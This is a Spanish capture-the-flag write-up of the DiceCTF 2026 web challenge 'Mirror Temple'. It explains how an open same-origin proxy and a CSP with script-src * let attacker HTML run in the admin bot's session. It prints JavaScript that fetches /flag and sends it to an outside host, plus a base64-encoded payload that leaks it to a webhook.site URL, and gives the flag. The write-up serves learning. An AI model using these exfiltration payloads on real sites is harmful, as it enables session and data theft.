Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
DiceCTF2026Quals/Mirror-Temple.md READ_ONLY

Mirror Temple

Datos del reto

Campo Valor
CTF DiceCTF 2026 Quals
Reto Mirror Temple
Categoría Web
Flag dice{evila_si_rorrim_eht_dna_gnikooc_si_tnega_eht_evif_si_emit_eht_krad_si_moor_eht}

Descripción del reto

La aplicación permitía crear una postal en /postcard-from-nyc, guardaba todo dentro de una cookie JWT y exponía endpoints como /name, /portrait y /flag para leer lo almacenado. Además, había un /report que hacía que un bot con Puppeteer visitara una URL.

Desde el principio, la idea era conseguir que el bot cargara contenido controlado por el atacante, pero servido desde el mismo origen del reto. Si eso ocurría, leer /flag dejaba de ser la parte complicada.


Reconocimiento

Lo primero fue revisar el flujo del bot.

await page.goto("http://localhost:8080/postcard-from-nyc", { waitUntil: "domcontentloaded", timeout: 10_000 })

await page.type("#name", "Admin")
await page.type("#flag", flag)
await Promise.all([
  page.waitForNavigation({ waitUntil: "domcontentloaded", timeout: 10_000 }),
  page.click(".begin")
])

await page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 10_000 })

De aquí salían dos pistas importantes.

  1. El bot guardaba la flag real dentro de la aplicación antes de visitar la URL reportada.
  2. La navegación posterior ocurría autenticada dentro de localhost en el puerto 8080.

Después fui a revisar el proxy.

if (params.containsKey("url") && params["url"]!!.size == 1) {
    val newURL = URI(URLDecoder.decode(params["url"]!![0], StandardCharsets.UTF_8))
    request.headers.apply {
        set("Host", newURL.host)
        remove("Cookie")
        remove("Cookie2")
        remove("Authorization")
    }
    request.setUri(newURL)
    return execution.execute(request)
}

Aquí estaba una de las claves del reto. /proxy?url=... no redirigía al navegador, sino que traía contenido remoto y lo devolvía desde el propio origen de la aplicación. Eso convertía HTML externo en HTML same-origin.

Lo último fue mirar las cabeceras de seguridad.

response.setHeader(
    "Content-Security-Policy",
    """
        default-src 'none';
        script-src * 'sha256-BoCRiehFBnKRTZ0eeC7grcuj5c7g5zRlYK9a9T2vgok=';
        style-src 'self' https://fonts.googleapis.com/css;
        img-src 'self' data:;
        connect-src 'self';
    """.trim().replace(Regex("\\s+"), " ")
)

La CSP bloqueaba inline script, pero seguía permitiendo cargar scripts externos desde cualquier origen gracias a script-src *.


Análisis

Con todo eso ya se veía el camino de explotación.

  1. El bot guarda la flag real dentro de la cookie save.
  2. /report acepta una URL absoluta y hace que el bot la visite.
  3. /proxy toma HTML controlado por el atacante y lo sirve desde localhost en el puerto 8080.
  4. Ese HTML puede incluir un <script src="https://attacker/...">.
  5. Como el contenido se ejecuta en el mismo origen del reto, el script puede hacer fetch("/flag").

El proxy no solo traía contenido externo. Lo "convertía" en una página del propio challenge. Y como la CSP seguía dejando scripts remotos, era posible ejecutar JavaScript con la sesión del bot.


Resolución

Para probarlo en local usé un HTML muy pequeño y un script separado para exfiltrar.

<!doctype html>
<script src="http://127.0.0.1:9000/exfil.js"></script>
fetch("/flag")
  .then(response => response.text())
  .then(flag => fetch(`http://127.0.0.1:9000/leak?flag=${encodeURIComponent(flag)}`, { mode: "no-cors" }))
  .catch(error => fetch(`http://127.0.0.1:9000/leak?error=${encodeURIComponent(String(error))}`, { mode: "no-cors" }));

La URL que había que reportarle al bot era esta.

http://localhost:8080/proxy?url=http%3A%2F%2F127.0.0.1%3A9000%2Fpayload.html

En local, el servidor atacante acababa recibiendo.

GET /payload.html HTTP/1.1
GET /exfil.js HTTP/1.1
GET /leak?flag=dice%7Blocal_test_flag%7D HTTP/1.1

Eso confirmaba que la idea funcionaba. En remoto apareció un detalle importante. La cookie con la flag estaba asociada a localhost en el puerto 8080, no al hostname público. Cuando probaba directamente contra el dominio público, el payload no sacaba el contenido correcto.

La solución fue seguir reportando una URL que mantuviera localhost como origen del bot. La variante que funcionó en la instancia real fue esta.

http://localhost:8080/proxy?url=https://httpbin.org/base64/PCFkb2N0eXBlIGh0bWw%2BPHNjcmlwdD5mZXRjaCgnL2ZsYWcnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGY9PmZldGNoKCdodHRwczovL3dlYmhvb2suc2l0ZS80ZTg0ZmQ4Ny04MWQ0LTRhYmQtYWZhNS1hOTBjODlmMjVjZmYvbGVhaz9mbGFnPScrZW5jb2RlVVJJQ29tcG9uZW50KGYpLHttb2RlOiduby1jb3JzJ30pKTs8L3NjcmlwdD4%3D

El webhook terminó recibiendo la flag real. En este reto, la clave fue ver que /proxy no era solo un fetch del backend, sino una forma de servir contenido propio dentro del mismo origen.


Flag

dice{evila_si_rorrim_eht_dna_gnikooc_si_tnega_eht_evif_si_emit_eht_krad_si_moor_eht}